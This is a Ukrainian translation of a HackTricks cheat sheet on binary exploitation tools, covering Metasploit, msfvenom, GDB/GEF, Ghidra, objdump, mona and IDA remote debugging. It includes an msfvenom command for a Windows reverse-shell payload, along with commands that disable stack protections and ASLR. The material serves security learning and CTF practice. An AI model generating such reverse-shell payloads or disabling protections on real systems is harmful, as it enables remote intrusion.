mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

Translator fcbd2952d9 Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

2024-07-18 22:16:42 +00:00

Інструменти експлуатації

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Встановлення

apt-get install gdb

Параметри

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Інструкції

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB ті ж адреси

Під час налагодження GDB буде мати трохи інші адреси, ніж ті, що використовуються бінарним файлом під час виконання. Ви можете зробити так, щоб GDB мав ті ж адреси, виконавши:

unset env LINES
unset env COLUMNS
set env _=<path> Вкажіть абсолютний шлях до бінарного файлу
Використовуйте бінарний файл, використовуючи той же абсолютний шлях
PWD та OLDPWD повинні бути однаковими під час використання GDB та під час експлуатації бінарного файлу

Backtrace для знаходження викликаних функцій

Коли у вас є статично зв'язаний бінарний файл, всі функції будуть належати бінарному файлу (а не зовнішнім бібліотекам). У цьому випадку буде важко визначити потік, який слідує бінарний файл, щоб, наприклад, запитати введення користувача.
Ви можете легко визначити цей потік, запустивши бінарний файл з gdb до того, як вас попросять ввести дані. Потім зупиніть його за допомогою CTRL+C і використовуйте команду bt (backtrace), щоб побачити викликані функції:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB сервер

gdbserver --multi 0.0.0.0:23947 (в IDA потрібно вказати абсолютний шлях до виконуваного файлу на Linux машині та на Windows машині)

Ghidra

Знайти зсув стеку

Ghidra дуже корисна для знаходження зсуву для переповнення буфера завдяки інформації про позицію локальних змінних.
Наприклад, у наведеному нижче прикладі переповнення буфера в local_bc вказує на те, що потрібен зсув 0xbc. Більше того, якщо local_10 є канарейковим печивом, це вказує на те, що для перезапису з local_bc потрібен зсув 0xac.
Пам'ятайте, що перші 0x08, з яких зберігається RIP, належать до RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Компілювати без захистів
-o --> Вихід
-g --> Зберегти код (GDB зможе його бачити)
echo 0 > /proc/sys/kernel/randomize_va_space --> Деактивувати ASLR в linux

Щоб скомпілювати shellcode:
nasm -f elf assembly.asm --> повертає ".o"
ld assembly.o -o shellcodeout --> Виконуваний файл

Objdump

-d --> Дизасемблювати виконувані секції (переглянути опкодів скомпільованого shellcode, знайти ROP Gadgets, знайти адресу функції...)
-Mintel --> Intel синтаксис
-t --> Таблиця символів
-D --> Дизасемблювати все (адреса статичної змінної)
-s -j .dtors --> секція dtors
-s -j .got --> секція got
-D -s -j .plt --> plt секція дизасембльована
-TR --> Релокації
ojdump -t --dynamic-relo ./exec | grep puts --> Адреса "puts" для модифікації в GOT
objdump -D ./exec | grep "VAR_NAME" --> Адреса або статичної змінної (вони зберігаються в секції DATA).

Ядра дампи

Запустіть ulimit -c unlimited перед запуском моєї програми
Запустіть sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
sudo gdb --core=<path/core> --quiet

Більше

ldd executable | grep libc.so.6 --> Адреса (якщо ASLR, то це змінюється щоразу)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Цикл, щоб перевірити, чи адреса змінюється багато
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Зсув "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Зсув "/bin/sh"

strace executable --> Функції, викликані виконуваним файлом
rabin2 -i ejecutable --> Адреса всіх функцій

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Налагодження в віддаленому linux

Всередині папки IDA ви можете знайти двійкові файли, які можна використовувати для налагодження двійкового файлу в linux. Для цього перемістіть двійковий файл linux_server або linux_server64 на сервер linux і запустіть його в папці, що містить двійковий файл:

./linux_server64 -Ppass

Тоді налаштуйте налагоджувач: Debugger (linux remote) --> Proccess options...: